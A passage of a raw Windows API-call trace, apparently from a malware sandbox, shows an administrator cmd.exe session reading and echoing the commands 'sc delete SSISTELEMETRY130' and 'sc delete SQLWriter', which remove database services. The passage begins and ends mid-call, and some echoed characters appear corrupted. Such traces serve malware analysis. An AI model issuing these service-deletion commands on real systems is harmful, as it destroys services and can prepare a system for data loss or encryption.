lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0064.966] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0065.016] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.016] CloseHandle (hObject=0x54) returned 1 [0065.016] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.016] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.016] GetProcessHeap () returned 0x1b0000 [0065.016] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.016] GetEnvironmentStringsW () returned 0x1d1b10* [0065.017] GetProcessHeap () returned 0x1b0000 [0065.017] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0065.017] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.017] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.017] GetProcessHeap () returned 0x1b0000 [0065.017] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0065.017] GetEnvironmentStringsW () returned 0x1d1b10* [0065.017] GetProcessHeap () returned 0x1b0000 [0065.017] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0065.017] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.017] GetProcessHeap () returned 0x1b0000 [0065.017] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.017] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.017] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.017] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.017] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.017] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.017] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.018] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.018] GetConsoleOutputCP () returned 0x1b5 [0065.018] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.018] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.018] GetProcessHeap () returned 0x1b0000 [0065.019] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.019] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.019] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.019] GetFileType (hFile=0x120) returned 0x3 [0065.019] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.019] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.019] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.019] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.019] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.019] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.019] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.019] GetFileType (hFile=0x120) returned 0x3 [0065.019] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.019] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.019] GetFileType (hFile=0xb8) returned 0x3 [0065.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.019] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete SSISTELEMETRY130\ne\n") returned 1 [0065.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete SSISTELEMETRY130\ne\n") returned 1 [0065.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete SSISTELEMETRY130\ne\n") returned 1 [0065.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete SSISTELEMETRY130\ne\n") returned 1 [0065.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete SSISTELEMETRY130\ne\n") returned 1 [0065.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete SSISTELEMETRY130\ne\n") returned 1 [0065.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete SSISTELEMETRY130\ne\n") returned 1 [0065.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.021] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te SSISTELEMETRY130\ne\n") returned 1 [0065.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.021] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e SSISTELEMETRY130\ne\n") returned 1 [0065.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.021] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" SSISTELEMETRY130\ne\n") returned 1 [0065.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.021] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="SSISTELEMETRY130\ne\n") returned 1 [0065.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.021] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="QISTELEMETRY130\ne\n") returned 1 [0065.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.021] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="LSTELEMETRY130\ne\n") returned 1 [0065.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="WTELEMETRY130\ne\n") returned 1 [0065.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="rELEMETRY130\ne\n") returned 1 [0065.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="iLEMETRY130\ne\n") returned 1 [0065.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="tEMETRY130\ne\n") returned 1 [0065.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="eMETRY130\ne\n") returned 1 [0065.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.022] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="rETRY130\ne\n") returned 1 [0065.022] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.022] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.023] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="\nTRY130\ne\n") returned 1 [0065.023] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.023] GetFileType (hFile=0xb8) returned 0x3 [0065.023] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.023] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.023] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.023] GetFileType (hFile=0x120) returned 0x3 [0065.023] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLWriter\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLWriter\n", lpUsedDefaultChar=0x0) returned 21 [0065.023] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x14, lpOverlapped=0x0) returned 1 [0065.023] GetProcessHeap () returned 0x1b0000 [0065.023] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.023] GetProcessHeap () returned 0x1b0000 [0065.023] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.023] GetProcessHeap () returned 0x1b0000 [0065.023] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.023] GetProcessHeap () returned 0x1b0000 [0065.023] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.024] GetProcessHeap () returned 0x1b0000 [0065.024] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x34) returned 0x1c6510 [0065.024] GetConsoleOutputCP () returned 0x1b5 [0065.024] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.024] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.024] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.024] GetProcessHeap () returned 0x1b0000 [0065.024] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.024] GetProcessHeap () returned 0x1b0000 [0065.024] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3a) returned 0x1caa40 [0065.024] GetProcessHeap () returned 0x1b0000 [0065.024] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0065.024] SetErrorMode (uMode=0x0) returned 0x1 [0065.024] SetErrorMode (uMode=0x1) returned 0x0 [0065.024] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.024] SetErrorMode (uMode=0x1) returned 0x1 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0065.025] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.025] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.025] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0065.025] GetProcessHeap () returned 0x1b0000 [0065.025] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0065.025] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.025] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.025] GetLastError () returned 0x2 [0065.025] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.026] GetLastError () returned 0x2 [0065.026] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.026] FindFirstFileExW (in: 